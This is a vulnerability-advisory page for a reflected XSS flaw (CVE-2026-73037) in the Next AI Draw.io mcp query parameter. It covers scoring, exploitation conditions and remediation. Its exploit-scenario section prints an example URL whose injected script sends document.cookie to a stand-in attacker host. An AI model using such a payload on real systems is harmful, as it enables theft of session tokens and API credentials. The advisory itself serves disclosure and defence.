Skip to main content

Next AI Draw.io EUVDEUVD-2026-58196

| CVE-2026-73037 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-13 VulnCheck GHSA-7wvw-5p69-5396
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft URL with XSS payload in mcp parameter
  2. Delivery
    Deliver link to victim via phishing or social engineering
  3. Exploit
    Victim clicks URL and browser loads app
  4. Execution
    Application reflects unsanitized mcp value into HTML/JS
  5. Persist
    Arbitrary JavaScript executes in localhost browser origin
  6. Impact
    Exfiltrate diagram sessions and API credentials to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerable endpoint must receive and render the mcp query parameter - an attacker-controllable URL parameter interpolated without escaping into HTML/JavaScript output. Active user interaction is required (UI:A per CVSS 4.0): the victim must click a crafted URL, making social engineering or phishing the delivery mechanism. No authentication is required (PR:N), and the application must be network-reachable to deliver the malicious link. The primary factor limiting exploitation is the mandatory victim interaction - this cannot be triggered passively or without the user navigating to the crafted URL. Additionally, the application must be running (typically on localhost) for the injected script to execute in the intended origin. Exploitation is further limited to users running affected versions 0.2.1 through 0.4.16.

Impact

The CVSS 4.0 base score of 5.1 (Medium) accurately reflects the primary constraint: mandatory active user interaction (UI:A) means the attacker must socially engineer a victim into clicking a crafted URL rather than exploiting passively. There is no direct impact on the vulnerable system's confidentiality, integrity, or availability (VC:N/VI:N/VA:N); impact is scoped to subsequent-system effects (SC:L/SI:L), consistent with data exfiltration from the localhost browser origin rather than server-side compromise. The publicly available POC (confirmed by VulnCheck) lowers exploitation effort significantly and makes this more actionable than a theoretical finding, but EPSS data was not provided in the input and cannot be cited. No CISA KEV listing is present, so active widespread exploitation is not confirmed. Real-world priority is moderate for environments where users handle sensitive diagram data or API credentials and may be exposed to phishing - but this is a low-footprint niche tool, limiting aggregate exposure. The localhost context is a meaningful nuance: if the app exposes local resources not normally web-accessible, the effective impact could exceed the SC:L/SI:L rating.

Exploit ScenarioDerived

An attacker constructs a URL targeting the victim's locally running Next AI Draw.io instance with a JavaScript payload embedded in the mcp query parameter (e.g., http://localhost:3000/path?mcp=<script>fetch('https://attacker.example/steal?d='+document.cookie)</script>), then delivers it via a phishing email or social engineering message. When the victim clicks the link, the application reflects the unescaped parameter into the rendered HTML, causing the browser to execute the attacker's script in the localhost origin. The script then exfiltrates diagram session tokens, stored API keys, or other sensitive data accessible to that origin. A publicly available POC via GitHub issue #917 demonstrates this technique.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 13, 2026

Reflected XSS in Next AI Draw.io 0.2.1 through 0.4.16 allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in the localhost origin by crafting malicious URLs containing a payload in the unsanitized mcp query parameter. Successful exploitation - which requires a victim to click the crafted link - enables theft of diagram session tokens and API credentials accessible within that browser origin. Publicly available exploit code exists (GitHub issue #917 via VulnCheck), though no CISA KEV listing confirms active exploitation at time of analysis.

RemediationAI

No vendor-released patched version is independently confirmed from available data - the fix reference (https://github.com/DayuanJiang/next-ai-draw-io/issues/917) points to a GitHub issue rather than a tagged release, so the upstream fix availability should be monitored directly in that repository. Until a patched release is confirmed, operators should restrict network access to the Next AI Draw.io instance to trusted users and IP ranges via firewall rules or reverse-proxy authentication, preventing attackers from delivering crafted URLs to users in the first place. As a secondary control, implement a Content Security Policy header that disallows inline scripts (script-src 'self'), which would block reflected XSS payloads even if parameter injection occurs - note this may break legitimate inline script functionality in the app and should be tested. Users should also be advised not to open URLs containing mcp query parameters from untrusted sources. Monitor the VulnCheck advisory at https://www.vulncheck.com/advisories/next-ai-draw-io-reflected-xss-via-unsanitized-mcp-query-parameter for patch release updates.

Affected VersionsENISA

next-ai-draw-io 0.2.1 ≤0.4.16

Affected Packages

euvd next_ai_draw_io no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Next AI Draw.io (CPE: cpe:2.3:a:dayuanjiang:next-ai-draw-io:*:*:*:*:*:*:*:*) is a Next.js-based application integrating AI capabilities with the Draw.io diagramming editor, typically running on localhost. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation - XSS): the mcp query parameter is interpolated directly into rendered HTML and JavaScript without HTML-encoding, output escaping, or Content Security Policy enforcement, allowing attacker-controlled strings to break out of data context into executable script context. Because the application runs on the localhost origin, injected scripts inherit any elevated trust or relaxed CORS posture that localhost contexts may carry, and can access locally stored API keys, session tokens, and diagram data. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) confirms network delivery with no complexity or privilege prerequisites, but requires active user interaction.

Know when Next Ai Draw Io gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS requires active user interaction (UI:R); payload executes in a different browser origin than the attacker controls, constituting scope change (S:C) with limited confidentiality and integrity impact on that origin.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Next AI Draw.io 0.2.1 through 0.4.16 contains a reflected cross-site scripting vulnerability in the mcp query parameter that is interpolated without escaping into HTML and JavaScript. Attackers can craft malicious URLs to execute arbitrary JavaScript in the localhost origin, enabling exfiltration of diagram sessions and API data.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Rare
niche AI diagramming tool, minimal enterprise deployment footprint
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy